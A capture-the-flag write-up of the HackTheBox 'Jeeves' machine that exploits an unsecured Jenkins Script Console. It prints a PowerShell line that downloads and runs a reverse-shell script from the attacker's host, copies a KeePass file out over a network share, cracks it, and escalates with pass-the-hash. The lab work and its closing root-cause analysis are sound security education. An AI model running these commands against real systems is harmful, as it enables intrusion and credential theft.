Ethical Hacking Lessons — Jeeves Writeup

9 min readJan 26, 2021

In December 2020, the news broke about a major cyberattack against various departments within US government systems. This was a sophisticated attack where software components of a few big-name organizations were compromised. One of the attacks was designed around infiltrating the build system and then inject a malicious payload into the software product causing catastrophic business disruptions. In this write-up, I highlight how a misconfiguration in the build pipeline can enable hackers to gain control of the build system enabling nightmare scenarios of creating havoc among the industry.

This write-up is about the hackthebox Jeeves box, a medium-rated Windows machine with an IP address of 10.10.10.63.

Its radar-graph shows an inclination towards CVE and Real-Life.

Recon

Let’s start active recon with the Nmap TCP scan.

nmap -A -T4 -p- -oX tcp_scan_result.xml 10.10.10.63

Below are the results produced by the scan.

UPD ports scan took longer but it didn’t find any open ports.

Recon Results Analysis

Four open ports found.

Port 80 — IIS version 10.0
Port 135 — RPC
Port 445 — SMB
Port 50000 — Jetty, it's a Java-based web-server

Enumeration

Browsing to the 10.10.10.63 takes to the following Ask jeeves webpage. Tried using its search feature but didn’t find anything interesting.

Looking at the source code, there does not seem anything that interesting either.

Next, let’s browse to the Jetty web-server running at port 50000. This results in a 404 error as shown below.

If you click on the Jetty link, it just takes you to the jetty home page. Nothing exciting so far. Let’s run gobuster against the two web-servers to discover any hidden files/folders.

First, run the gobuster against the IIS web-server running at port 80. As shown in the image below, it didn’t find any directory/page.

Then running it against the Jetty web-server at port 50000 found /askjeeves as shown below.

Alright. Let’s browse to the newly discovered page at http://10.10.10.63:50000/askjeeves. We found that Jenkins instance running there.

From this image, we can see this machine is running version 2.87 of Jenkins. This is quite an old version of Jenkins. Further, just browsing through the portal makes it quite apparent that the Jenkins instance is not properly secured because even without log into the portal, areas such as managing users, changing the password are easily accessible from the Manage Jenkins -> Manage Users option.

Enumeration Analysis

We determined that this box is running an older version of Jenkins Server with misconfigured access controls.

Exploitation

Let’s try to see if searchsploit can provide information about any known vulnerabilities for Jenkins.

Looks like there are quite a few including some RCEs too. For example, the Exploit db EBD-ID 46427 shows a few CVEs that might be related. Googling provided this link that provides instructions of how a groovy-script based command-execution could be achieved within the Jenkins portal. In order to try out if this option is available in this Jenkins instance, first navigate to Manage Jenkins -> Script Console menu option as shown below.

This brings us to the following page that seems to offer the ability to run some code here.

This is getting interesting now. Let’s try to execute the following script. This script if ran successfully should just output the user name running this script.

def cmd = “whoami”println(cmd.execute().in.text)

Running the script shows a user name as shown below.

This confirms that we have the option to get command execution. Now we need to find some way to get a reverse shell to our attack machine.

In order to do that, let’s use Nishang’s Invoke-PowerShellTcp script that can be used for getting a reverse shell using PowerShell. In case you don’t have it installed, you can use the following command to install the Nishang repo on your box.

apt-get install nishang

Now just copy the desired script file in your work folder.

The script itself provides a useful example of how this script should be used for getting a reverse shell.

Let’s edit this file to include invoking the script for the attack machine IP address and the port where we intend to get a reverse shell. This is added on line 128 in the image below.

At this point, we need to run an HTTP-server, so we can download this file through this. Let’s run the following command to launch our web-server at port 4445.

Also, don’t forget to run your listener on port 4444 as this is where the power-shell script will try to connect, based on the edit performed in the ps1 file earlier.

We need some script now that can first download this script file myshell.ps1 and then execute it. Below is the script that can do just that.

def cmd = “powershell -c iex(new-object  net.webclient).downloadstring(‘http://10.10.14.20:4445/myshell.ps1')"println(cmd.execute().in.text)

Let’s run this script through the Script Console page within Jenkins.

Right after, the HTTP-server logs show that the file getting downloaded with a status code of success (200)

Further, the reverse-shell shows a connection been made. Here we can see that we have connected to this box using a low-privileged account jeeves\kohsuke.

It's time to grab the user flag.

Privilege Escalation

Further enumeration on the machine with that low privilege user, we find an interesting file named CEH.kdbx located at c:\users\kohsuke\documents.

Googling suggests that kdbx file type is used by KeePass that is a password manager. The presence of this file here raises the interest to investigate it further. The first step towards that investigation is to download this file on the attack machine. That’s where the power-shell cmdlet New-PSDrive can be helpful. This cmdlet could be used to create a temporary and persistent drive mapped to a network drive. The example below will create a temporary PowerShell drive that is mapped to a network share.

New-PSDrive -Name “share” -PSProvider “FileSystem” -Root “\\10.10.14.20\share”

This script uses the Name parameter to specify PowerShell drive named share, PSProvider parameter to specify the PowerShell FileSystem provider and the Root parameter specifies the network share's UNC path. Temporary drives are known only to PowerShell and cannot be accessed via File Explorer. That’s why we need to navigate to share through PowerShell and copy it to the attack machine. The image below shows those steps after which the kdbx file is copied into the kali-Linux machine.

Now, we need the keepass to open this file. In case, you don’t have this already, install it using the apt install as shown below.

Now just simply launch the program to open the CEH.kdbx file.

However, that prompts us to enter a password as shown below.

This seems like a new hurdle as the database file seems to be password protected. Luckily, kali-Linux comes with tools to crack the KeePass. It's a two step process.

The first step is to extract a John the Ripper compatible hash for this file. This could be done using a tool called keepass2john.
Then just run John the Ripper against the file providing this hash and a word list.

Let’s extract the hash and store it in a file named ceh-hash.txt as shown below.

Next, running John The Ripper against this file provided us the password moonshine1 as shown below.

Things started to get exciting now. Using this password, I was able to open the file.

Navigating through entries present in this database, I can find some other passwords such as for the Bank of America account as shown below.

Most of the entries in this database didn’t look of too much interest for the purpose of solving this machine except the entry for Backup stuff item. This looked like an NTLM hash.

The next logical step with this is to try the pass-the-hash attack. This will be a perfect use-case to try out pth-winexe tool and pass this hash for privilege escalation. We have to provide the necessary command-line arguments (like username, hash, etc) as shown below. Right away, we got the shell as nt authority\system.

Now is the time to grab the root flag. Let’s go to the usual place at Desktop for Administrator user and try to get the contents of the file there. The only information we can extract there was flag is somewhere else.

I used the /r command-line arguments for the dir command to see if Alternate Data Streams could be in play here. Guess what, this was the case. From there on, it was just a case of retrieving the $Data attributes and show the contents of root.txt as shown below.

Root Cause Analysis

Clearly running the Jenkins instance without proper access control was the biggest issue here. In addition, the KeePass database was protected by a weak password that we were able to crack quite easily.